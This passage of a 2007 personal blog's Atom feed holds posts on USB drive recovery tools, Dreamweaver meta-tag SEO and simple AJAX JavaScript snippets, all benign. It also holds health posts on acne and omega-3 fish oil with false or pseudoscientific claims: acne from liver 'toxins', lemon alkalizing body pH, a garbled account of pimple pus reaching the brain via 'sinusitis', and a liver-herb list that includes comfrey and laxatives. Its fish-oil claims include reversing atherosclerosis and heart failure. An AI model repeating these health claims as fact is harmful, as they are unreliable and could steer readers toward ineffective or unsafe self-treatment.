width='72'/><thr:total>5</thr:total></entry><entry><id>tag:blogger.com,1999:blog-19793524.post-4129433506895357885</id><published>2007-03-24T04:24:00.000-07:00</published><updated>2009-12-12T12:56:52.686-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='windows'/><title type='text'>How to repair an usb drive</title><content type='html'>&lt;img style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;" border="0" height="150" src="http://www.keyghost.com/usb%20keylogger/KeyGhost-USB-512KB-Plugs.jpg" alt="repair usb" width="200" /&gt;&lt;br /&gt;Sometimes you can experience problems with your usb device. If you receive messages such as:&lt;br /&gt;&lt;blockquote&gt;media not found, no flash disk attached, unknown  device&lt;br /&gt;&lt;/blockquote&gt;or windows cannot detect your drive then you can do the following:&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;1.Recover the lost files&lt;/span&gt; from the drive or just access your data with the help of programs such as:&lt;br /&gt;FileScavenger, EzRecovery, UstorageTool, Recover My Files, R-Studio, EasyRecovery and GetDataBack&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;2. Get detailed information about your usbdrive&lt;/span&gt;:&lt;br /&gt;In order to download from your manufacturer website a low level repairing/formatting utility you have to find your chipset manufacturer. These programs will show the important PID/VID values:&lt;br /&gt;&lt;blockquote&gt;http://www.antspec.com/files/usbflashinfo.zip&lt;br /&gt;http://www.linux-usb.org/usb.ids&lt;br /&gt;&lt;/blockquote&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;3. Format the usb device&lt;/span&gt; in low-level and then in high-level.&lt;br /&gt;Try the following formatting utilities. I hope they'll help you.&lt;br /&gt;Jetflash formatter&lt;br /&gt;SDFormatter&lt;br /&gt;ProductionTool MD&lt;br /&gt;HP Disk Storage Format Tool&lt;br /&gt;JetFlash Recovery&lt;br /&gt;Recovery_1002&lt;br /&gt;uFormat&lt;br /&gt;mformat&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;List of usb-manufacturers&lt;/span&gt;&lt;br /&gt;Pen, Twinmos, Transcend JetFlash, Seitec, WinMaxGroup, PQI Travelling Disk, Kingston Data Traveler, Agenie, Sony, LG, Samsung, Prolifiс, Ultra-Media, Sandisk, C-one, A-data, Apacer, Xonix, Canion, Lexar, JetFlash, Pretec iDisk, Silicon Power, Prestigio, Patriot, Digitex, Pretec, InnoDisk, ACEPlus, Bit4flash, Ultra-Media, Kingmax, Agenie, Gembird Kolibri, DIGMA, ChipsBnk, Genx, Easydisk, MyFlash, TwinMOS, Jogr, Ritek, Corsair Voyager, RunDisk, Intelligent stick, Imation, KingMax, Mr.Flash, Monstor, DIGMA, Elite, Patriot...&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/19793524-4129433506895357885?l=nevyan.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://nevyan.blogspot.com/feeds/4129433506895357885/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=19793524&amp;postID=4129433506895357885' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/19793524/posts/default/4129433506895357885'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/19793524/posts/default/4129433506895357885'/><link rel='alternate' type='text/html' href='http://nevyan.blogspot.com/2007/03/how-to-repair-usb-drive.html' title='How to repair an usb drive'/><author><name>Nevyan</name><uri>http://www.blogger.com/profile/15075364915999782190</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://2.bp.blogspot.com/-NrtMj464hyE/TkvoqnQykHI/AAAAAAAAAjE/M0vX0Zbtrso/s1600/photo.jpg%253Fsz%253D200'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-19793524.post-4148277874443857590</id><published>2007-03-22T04:01:00.000-07:00</published><updated>2007-09-12T02:52:31.890-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='seo'/><title type='text'>How to optimize a website using Dreamweaver</title><content type='html'>Here are the steps for website optimization with Dreamweaver.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Meta tag optimization&lt;/span&gt;&lt;br /&gt;First go to the menu "Insert". Choose "HTML" -&gt; "Head Tags". From there you can add/edit your site keywords, description, to add meta refresh tags, base url address of your website, link to external document(CSS, JavaScript...) and others.&lt;br /&gt;&lt;br /&gt;Website keywords are popular technique for optimization. The keywords in one page usually are separated with commas. Be careful though no to overwhelm your keywords because otherwise you'll be banned from the search engine listings. Here is a example of keywords code: &lt;span style="font-style: italic;"&gt;&amp;lt;meta name="keywords" content="usefull advices, web sites, optimizing"&amp;gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;The description is similar to the keywords. Here the keywords are grouped into meaningful sentences. The description should be kept maximum to 100-200 symbols. It is the vey part of one website that you usually see as results when searching. So make it really briefly describing the content of your webpage. Here is a description example:&lt;br /&gt;&lt;span style="font-style: italic;"&gt;&amp;lt;meta name="description" content="Advices on optimizing websites"&amp;gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Some other usefull meta tags:&lt;br /&gt;author - the author of the web page.&lt;br /&gt;&lt;span style="font-style: italic;"&gt;&amp;lt;meta name="author" value="Nevyan Neykov"&amp;gt;&lt;/span&gt;&lt;br /&gt;copyright - copyright information.&lt;br /&gt;&lt;span style="font-style: italic;"&gt;&amp;lt;meta name="copyright" value="Copyright 1999-2007 Nevyan Neykov"&amp;gt;&lt;/span&gt;&lt;br /&gt;robots - guides the search robots such as google and yahoo whether to index(include) ones web page.&lt;br /&gt;&lt;span style="font-style: italic;"&gt;&amp;lt;meta name="robots" value="index,follow"&amp;gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Another usefull meta tag is "http-equiv" from the menu Insert-Meta then choose HTTP-equivalent.&lt;br /&gt;In the value specify charset. It will set the default encoding of the characters in one's webpage.&lt;br /&gt;For example if you have problems displaying any cyrillic in you webpage just set the charset to: windows-1251&lt;br /&gt;Most websites now use utf-8 encoding.&lt;br /&gt;&lt;span style="font-style: italic;"&gt;&amp;lt;meta equiv="charset" value="utf-8"&amp;gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Content optimization&lt;/span&gt;&lt;br /&gt;If you wish to further enhance/optimize your website you can adjust your website header information into heading tags such as H1,H2,H3.&lt;br /&gt;Just select your most important heading text and go to Text-&gt;Paragraph Format-&gt;Heading 1. Dreamweaver will embrace your text with the H1 heading tag. Thus your heading text will have more weight into the search engine estimation.&lt;br /&gt;Be carefull to use 1 or 2 max. sentences with this tag. Use H2,H3 to H6 tags to optimize your less important headings.&lt;br /&gt;&lt;br /&gt;Happy optimizing.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/19793524-4148277874443857590?l=nevyan.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://nevyan.blogspot.com/feeds/4148277874443857590/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=19793524&amp;postID=4148277874443857590' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/19793524/posts/default/4148277874443857590'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/19793524/posts/default/4148277874443857590'/><link rel='alternate' type='text/html' href='http://nevyan.blogspot.com/2007/03/how-to-optimize-website-using.html' title='How to optimize a website using Dreamweaver'/><author><name>Nevyan</name><uri>http://www.blogger.com/profile/15075364915999782190</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://2.bp.blogspot.com/-NrtMj464hyE/TkvoqnQykHI/AAAAAAAAAjE/M0vX0Zbtrso/s1600/photo.jpg%253Fsz%253D200'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-19793524.post-1352021389315650228</id><published>2007-03-07T07:31:00.000-08:00</published><updated>2007-09-22T06:47:19.122-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='webdesign'/><title type='text'>AJAX and user interraction</title><content type='html'>When you build AJAX applications the goal is to make them more convenient and accessible for the user.&lt;br /&gt;One way to do this is via change in the cursor style from &lt;span style="font-style: italic;"&gt;normal&lt;/span&gt; to &lt;span style="font-style: italic;"&gt;waiting hourglass&lt;/span&gt; while the application performs its query to the server. This will automatically inform the user that the page is loading and one must wait.&lt;br /&gt;Here is how to accomplish this via 2 JavaScript DOM lines that will inject css rule to the &lt;span style="font-weight: bold;"&gt;body &lt;/span&gt;tag and later clear it.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;HOW:&lt;/span&gt;&lt;br /&gt;In your application when loading, next to the display of the waiting status image place:&lt;br /&gt;&lt;blockquote&gt;document.getElementsByTagName("body").item(0).style.cursor="wait";&lt;/blockquote&gt;Next when the application is ready and the waiting image is cleared restore the cursor style:&lt;br /&gt;&lt;blockquote&gt;document.getElementsByTagName("body").item(0).style.cursor="auto";&lt;br /&gt;&lt;/blockquote&gt;For a comprehensive explanation behind the new web2 applications look at this &lt;a href="http://alex.dojotoolkit.org/wp-trackback.php?p=545"&gt;modified AJAX diagram&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt;Cheers!&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/19793524-1352021389315650228?l=nevyan.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://nevyan.blogspot.com/feeds/1352021389315650228/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=19793524&amp;postID=1352021389315650228' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/19793524/posts/default/1352021389315650228'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/19793524/posts/default/1352021389315650228'/><link rel='alternate' type='text/html' href='http://nevyan.blogspot.com/2007/03/ajax-and-user-interraction.html' title='AJAX and user interraction'/><author><name>Nevyan</name><uri>http://www.blogger.com/profile/15075364915999782190</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://2.bp.blogspot.com/-NrtMj464hyE/TkvoqnQykHI/AAAAAAAAAjE/M0vX0Zbtrso/s1600/photo.jpg%253Fsz%253D200'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-19793524.post-2056884682346810903</id><published>2007-03-04T04:03:00.000-08:00</published><updated>2009-12-06T23:09:53.810-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='acne'/><title type='text'>Acne - clean your liver</title><content type='html'>&lt;span style="font-weight: bold;"&gt;Acne - liver connection&lt;/span&gt;&lt;br /&gt;During puberty toxin levels in the body are higher because of its increased metabolism and rapid growth. At that time the liver( as a main filtering organ)  can easily become overwhelmed. When that happens, body triggers its natural response of flushing out the toxins through the skin resulting in acne breakout. One way to restore liver's normal functioning is via cleanse.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Daily cleanse recipe&lt;/span&gt;&lt;br /&gt;If you want to purify and detoxify your body from inside here is a recipe that you can do daily until you notice further improvement. It's nothing more than a salad dressing so it's harmless, unless you've got some serious liver issues.&lt;br /&gt;&lt;br /&gt;&lt;blockquote&gt;Put the following ingredients into a glass:&lt;br /&gt;&lt;br /&gt;1 glass of water&lt;br /&gt;1 tablespoon of cold pressed virgin olive oil&lt;br /&gt;juice of one lemon&lt;br /&gt;2 garlic cloves&lt;br /&gt;pinch of ginger&lt;br /&gt;&lt;/blockquote&gt;&lt;br /&gt;Stir or blend the mixture and drink on an empty stomach. Also if you’ve acidified your body’s Ph due to stress, negative emotions or improper diet, the drink will balance it back to normal(due to the lemon's alkaline properties). Proper alkalization of the whole body Ph, takes around 30 days, combined with green juices like Spirulina.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Fibre&lt;/span&gt;&lt;br /&gt;Also take additional fibre to introduce more good bacteria in your stomach. Fibres keep the toxins and cholesterol from being reabsorbed into the blood and help to be excreted normally. Good source of fibre are the probiotic cultures of Lactobacillus Bulgaricus and Lactobacillus Bifidus found in yogurt.&lt;br /&gt;&lt;br /&gt;Don't forget to drink 8 glasses of water daily. On the 5-6day you'll notice the difference. The receipt has also a beneficial effect on backne.&lt;br /&gt;&lt;br /&gt;&lt;img alt="" border="0" src="http://bp1.blogger.com/_nXiUn_G4NDk/R1qAmLoZkOI/AAAAAAAAANE/4KL3rjyJr04/s400/milk_thistle.jpg" /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Additionally&lt;/span&gt;&lt;br /&gt;Here is a list of &lt;span style="font-weight: bold;"&gt;herbs&lt;/span&gt; that might relieve your symptoms caused by improper liver_functioning. You could prepare herbal tea or an extract out of them. And please consult a qualified physician before consumption.&lt;br /&gt;&lt;br /&gt;Dandelion root &amp;amp; leaves, Burdock root, Senna Alexandrina, Berberis Vulgaris or European Barberry, Cascara Sagrada, Cayenne Pepper, Fennel, Aloe Vera, Rhubarb, Marjoram, Cat's Claw, Comfrey(Symphytum), Chicory, Goldenrod(Solidago), Hortensis Root, Marshmallow Root, Bear's Grape, Thistle, Hydrastis, Liquorice, Glycyrrhiza glabra...&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/19793524-2056884682346810903?l=nevyan.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://nevyan.blogspot.com/feeds/2056884682346810903/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=19793524&amp;postID=2056884682346810903' title='12 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/19793524/posts/default/2056884682346810903'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/19793524/posts/default/2056884682346810903'/><link rel='alternate' type='text/html' href='http://nevyan.blogspot.com/2007/03/acne-clean-your-liver.html' title='Acne - clean your liver'/><author><name>Nevyan</name><uri>http://www.blogger.com/profile/15075364915999782190</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://2.bp.blogspot.com/-NrtMj464hyE/TkvoqnQykHI/AAAAAAAAAjE/M0vX0Zbtrso/s1600/photo.jpg%253Fsz%253D200'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://bp1.blogger.com/_nXiUn_G4NDk/R1qAmLoZkOI/AAAAAAAAANE/4KL3rjyJr04/s72-c/milk_thistle.jpg' height='72' width='72'/><thr:total>12</thr:total></entry><entry><id>tag:blogger.com,1999:blog-19793524.post-7678188897248310436</id><published>2007-02-13T06:16:00.000-08:00</published><updated>2007-09-12T02:53:09.820-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='seo'/><title type='text'>AJAX - check server connection</title><content type='html'>If you are acquainted with the AJAX technology, then it is good to implement a technique for a server connection check.&lt;br /&gt;For example when the server connection is lost over a period of time you could alert the user and try to send another HTTP request to the server.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Example:&lt;/span&gt;&lt;br /&gt;After you open your connection: page_request.open { }&lt;br /&gt;&lt;br /&gt;add a timeout function that will check the readyState of the request every 10 seconds and when no response is received will recursively re-run the request function.&lt;br /&gt;&lt;br /&gt;window.setTimeout(&lt;br /&gt;  function(){    if (page_request.readyState != 4)&lt;br /&gt;  {&lt;br /&gt;alert("There is a problem with the connection to the server. We'll try again.");&lt;br /&gt;makeajaxrequest(url); return false }&lt;br /&gt;      }, 10000);&lt;br /&gt;&lt;br /&gt;Here makeajaxrequest(url) is the recursive request function. The timeout is set to 10 seconds and check will be executed every time when the connection is lost.&lt;br /&gt;You can also add a header status ready check: page_request.status==200 to the function above.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/19793524-7678188897248310436?l=nevyan.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://nevyan.blogspot.com/feeds/7678188897248310436/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=19793524&amp;postID=7678188897248310436' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/19793524/posts/default/7678188897248310436'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/19793524/posts/default/7678188897248310436'/><link rel='alternate' type='text/html' href='http://nevyan.blogspot.com/2007/02/ajax-check-server-connection.html' title='AJAX - check server connection'/><author><name>Nevyan</name><uri>http://www.blogger.com/profile/15075364915999782190</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://2.bp.blogspot.com/-NrtMj464hyE/TkvoqnQykHI/AAAAAAAAAjE/M0vX0Zbtrso/s1600/photo.jpg%253Fsz%253D200'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-19793524.post-7861492121669275820</id><published>2007-02-05T02:00:00.001-08:00</published><updated>2010-01-04T23:28:25.183-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='acne'/><title type='text'>Clear acne with honey</title><content type='html'>Acne is a skin problem and usually begins  in both sexes during the puberty. One of the reasons that causes acne is the hormonal change that occurs at this age. It is often being observed as black spots on the face, neck and back skin pores. Often, followed by an additional infection acne leads to formation of pus pimples. &lt;br /&gt;Acne is stressful for kids, as in this period of rapid growth psychological changes related with anger and hot temperness are usually observed.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Careful when treating!&lt;/span&gt;&lt;br /&gt;When treated improperly acne can lead to serious disturbances. So it is prohibited to squeeze the pimples, especially those residing on the face. Young people must know that such actions could affect the central body nervous system and lead to meningitis.&lt;br /&gt;The underlining reason behind is that the skin veins flow into the brain vessels called sinusitis. This way when psychically pressing the pimples the pus can easily go from the veins to the sinuses and then to the structural brain veins.&lt;br /&gt;Incorrect skin treatment also hides another problem - an infection called sepsis which affects the  whole organism. Both meningitis and sepsis are life-threatening, but its important to know that when treated properly the Vulgaris and Juvenilis forms of acne could be easily avoided.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;What honey products give good results when treating acne?&lt;/span&gt;&lt;br /&gt;Masks with pure nectarine bee honey&lt;br /&gt;It is recommended to buy honey directly from the producer and not form the store. Also do not try to liquidize an already crystallized one, because this might diminish its healing properties. Just know that in case of skin contact at temperature of about 36C degrees honey's thin layers will instantly liquidize and provide all of its benefits.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;The procedure&lt;/span&gt;&lt;br /&gt;Here are three honey procedures that will make your skin clear and beautiful!&lt;br /&gt;&lt;ul&gt;&lt;li&gt;Wash your skin with water and mild soap. It is better if the soap is honey-enriched. Dry carefully without any irritation and put a thin layer of honey upon. Wait 1 hour and  gently wash with warm water. Do 2 procedures like this daily for 15 days.&lt;br /&gt;&lt;br /&gt;&lt;/li&gt;&lt;li&gt;Pimples could also be treated for a 15 day period with 30% spirit solution of propolisis.&lt;br /&gt;&lt;br /&gt;&lt;/li&gt;&lt;li&gt;&lt;span style="font-weight: bold;"&gt;Boys:&lt;/span&gt; 3times daily take 1 tea spoon of honey mixed with honeybloom(1kg:200gr.) 1 hour before lunch&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Girls:&lt;/span&gt; 3times daily take 1 tea spoon of honey mixed with honeymilk(1kg:10gr.) 1 hour before lunch&lt;/li&gt;&lt;/ul&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Types of honey&lt;/span&gt;&lt;br /&gt;Here is a list of popular &lt;span style="font-weight: bold;"&gt;honey types&lt;/span&gt; and the reasons why they are so beneficial:&lt;br /&gt;&lt;ul&gt;&lt;li&gt;&lt;span style="font-weight: bold;"&gt;Lime tree honey &lt;/span&gt;offers first class quality - it has light yellow color, easily goes to crystals and has a specific aroma. It is used for inhalation when fighting respiration problems. Also has positive effect over the intestines and kidneys.&lt;br /&gt;&lt;br /&gt;&lt;/li&gt;&lt;li&gt;&lt;span style="font-weight: bold;"&gt;Acacia honey&lt;/span&gt; is considered as one of the best honeys - transparent, light, more liquid and with the specific acacia scent. It's suggested when having heart, intestinal  problems, and inflammations occurring in women.&lt;br /&gt;&lt;br /&gt;&lt;/li&gt;&lt;li&gt;&lt;span style="font-weight: bold;"&gt;Poly floral field honey&lt;/span&gt; has light-amber color giving you tender aroma and taste. Another one in the family famous for its healing qualities.&lt;br /&gt;&lt;br /&gt;&lt;/li&gt;&lt;li&gt;&lt;span style="font-weight: bold;"&gt;Monofloral meadou&lt;/span&gt; - subdivided into transparent and semi-transparent and is used effectively in gynecology and diets.&lt;br /&gt;&lt;br /&gt;&lt;/li&gt;&lt;li&gt;The &lt;span style="font-weight: bold;"&gt;sunflower type&lt;/span&gt; has saturated, almost brown color with unique aroma and bitterness.&lt;br /&gt;&lt;br /&gt;&lt;/li&gt;&lt;li&gt;The &lt;span style="font-weight: bold;"&gt;tee colored chestnut type&lt;/span&gt; comes with a tart taste. This honey causes stimulating effect and is also known as the man's honey because of its aphrodisiac features.&lt;/li&gt;&lt;/ul&gt;&lt;img alt="honey" border="0" src="http://bp3.blogger.com/_nXiUn_G4NDk/R0mxSkZizfI/AAAAAAAAAM8/9cCTvhKxne8/s400/honey.jpg" style="margin-top: 0pt;" /&gt;&lt;br /&gt;Did you know?&lt;br /&gt;Inverted sugar: In fact this is the sum of glucose and fructose,  responsible for honey's quality. Best quality honey is a mix variety one having  inverted sugar  content of up to 80%.&lt;br /&gt;Saccharose: is the plain sugar gained from sugar beet and sucar cane. Honey with increased quantity of saccharose is a low value one. High levels of saccharose could be observed when the bees are being fed with sugar suroup, as well as when their saliva glands responsible for producing sugar from nectar are being exhausted.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/19793524-7861492121669275820?l=nevyan.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://nevyan.blogspot.com/feeds/7861492121669275820/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=19793524&amp;postID=7861492121669275820' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/19793524/posts/default/7861492121669275820'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/19793524/posts/default/7861492121669275820'/><link rel='alternate' type='text/html' href='http://nevyan.blogspot.com/2007/02/clear-acne-with-honey.html' title='Clear acne with honey'/><author><name>Nevyan</name><uri>http://www.blogger.com/profile/15075364915999782190</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://2.bp.blogspot.com/-NrtMj464hyE/TkvoqnQykHI/AAAAAAAAAjE/M0vX0Zbtrso/s1600/photo.jpg%253Fsz%253D200'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://bp3.blogger.com/_nXiUn_G4NDk/R0mxSkZizfI/AAAAAAAAAM8/9cCTvhKxne8/s72-c/honey.jpg' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-19793524.post-84809766551198651</id><published>2007-01-28T03:31:00.000-08:00</published><updated>2008-01-21T05:59:33.541-08:00</updated><title type='text'>Benefits of the omega 3 Fish Oil – part III</title><content type='html'>&lt;span style="font-weight: bold;"&gt;4) Fitness.&lt;/span&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Muscles&lt;/span&gt;&lt;br /&gt;Taking Omega-3(O3) oils protects blood vessel walls. How? It will:&lt;br /&gt;•    increase their elasticity&lt;br /&gt;•    improve endothelial dilation function(facilitate for the veins and arteries dilate properly)&lt;br /&gt;&lt;br /&gt;Training benefits. If you take fish oil it will:&lt;br /&gt;•    Increase delivery of nutrients to the exercising muscle&lt;br /&gt;•    Ensure better nutrient partitioning - calories that are going be stored as fat in our body are being partitioned to the muscles&lt;br /&gt;&lt;blockquote&gt;&lt;span style="font-weight: bold;"&gt;Nutrient partitioning explained&lt;/span&gt;&lt;br /&gt;When we eat we produce energy that must be stored as body energy, released as heat or transformed to chemical energy and used to power our cells. This process is called nutrient partitioning.&lt;/blockquote&gt;•    Enhance recovery and improve blood flow. People report that their joints start feeling better.&lt;br /&gt;•    Help in generating testosterone - hormone responsible for a muscle mass built.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Fat burning&lt;/span&gt;&lt;br /&gt;Our cells have two metabolic organelles responsible for fuel burning to make energy: mitochondrion and peroxisome. O3 fatty acids increase the size of both metabolic fires, leading to an increase in the amount of energy burned in each organelle. This raises our metabolic rate and we burn more calories.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Omega-3 fish oil combined with exercise provides greater fat loss results than exercise or fish oil alone.&lt;/span&gt; A very good way to get in shape then is to combine regular training with taking O3 supplements. This way you’ll build muscle and burn more calories.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Insulin sensitivity&lt;/span&gt;&lt;br /&gt;Insulin is food-storage and anti-breakdown hormone. It is a protein hormone secreted by the pancreas that helps regulate carbohydrate metabolism. It also drives incoming nutrients into our body cells for storage. When we eat our insulin level is increasing and the new nutrients are getting stored in muscle&amp;amp;fat cells. The nutrients that are already in these cells stay there.&lt;br /&gt;&lt;br /&gt;When taking omega-3 fatty acids our body is getting more sensitive to insulin and releases less insulin during eating (process of deactivation of the anti-breakdown hormone). This way more stored fat will be released and less new will be accumulated.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Omega-3 allows the body to burn fat even in situations when fat burning is inhibited&lt;/span&gt;. Like for example in these cases:&lt;br /&gt;•    When eating carbohydrates, fat burning process is slowed down.&lt;br /&gt;•    During high intensity exercise, our body burns carbohydrate instead of fat.&lt;br /&gt;&lt;br /&gt;In the above scenarios, fat burning is dramatically reduced. However, cells that receive O3 allow the body to burn it in both situations.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Omega-3 also decrease hunger and further boost our metabolic rate &lt;/span&gt;by increasing the amount of our body produced hormone leptin(a protein hormone with important effects in regulating our weight, metabolism and reproductive function).&lt;br /&gt;&lt;br /&gt;Note: Don't take fish oil supplements on an empty stomach. O3 fatty acids are also fats and they can be burned as energy. So take them when you finish your meal.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Bone Health&lt;/span&gt;&lt;br /&gt;Intake of O3 fatty acids(DHA), increase bone build up in young men. This way by having peak bone mass in adolescence one could prevent later osteoporosis.&lt;span class="verdana11000000"&gt;&lt;em&gt;&lt;/em&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/19793524-84809766551198651?l=nevyan.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://nevyan.blogspot.com/feeds/84809766551198651/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=19793524&amp;postID=84809766551198651' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/19793524/posts/default/84809766551198651'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/19793524/posts/default/84809766551198651'/><link rel='alternate' type='text/html' href='http://nevyan.blogspot.com/2007/01/benefits-of-omega-3-fish-oil-part-iii.html' title='Benefits of the omega 3 Fish Oil – part III'/><author><name>Nevyan</name><uri>http://www.blogger.com/profile/15075364915999782190</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://2.bp.blogspot.com/-NrtMj464hyE/TkvoqnQykHI/AAAAAAAAAjE/M0vX0Zbtrso/s1600/photo.jpg%253Fsz%253D200'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-19793524.post-7829034834729638071</id><published>2007-01-26T02:43:00.000-08:00</published><updated>2008-01-21T05:59:25.226-08:00</updated><title type='text'>Benefits of the omega 3 Fish Oil – part II</title><content type='html'>&lt;span style="font-weight: bold;"&gt;2) Improve cardiovascular health.&lt;/span&gt;&lt;br /&gt;Omega 3(O3) fatty acids decrease bad low density lipoprotein (LDL) cholesterol &amp;amp; triglyceride levels and blood pressure and increase good HDL cholesterol levels in the body. They also decrease arterial platelet collection, which leads to dangerous clots and protect us from cardiovascular diseases (irregular heart rhythms, high blood pressure, strokes…) by stopping the formation of fat deposits in our arteries and a decreased vascular wall thickness.&lt;br /&gt;These essential acids help clear the arteries of cholesterol and improve or reverse atherosclerosis, angina, heart attack, congestive heart failure, arrhythmias, stroke and peripheral vascular disease.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;The fat buildup process explained:&lt;/span&gt;&lt;br /&gt;A thrombosis is caused when fat builds up on arterial walls and later breaks loose. If such thrombosis gets stuck in a brain vessel a stroke is caused and if it stucks in artery - a heart attack.&lt;br /&gt;O3 FA break up such fat clots so they couldn’t cause any further damage. They:&lt;br /&gt;&lt;ul&gt;&lt;li&gt; balance certain electrical rhythms in the heart, this way preventing blood clots from forming.&lt;/li&gt;&lt;li&gt;promote the heart muscle tissues to be less susceptible to damage caused by a lack of blood flow.&lt;br /&gt;&lt;/li&gt;&lt;/ul&gt;&lt;span style="font-weight: bold;"&gt;Protect from cardiac 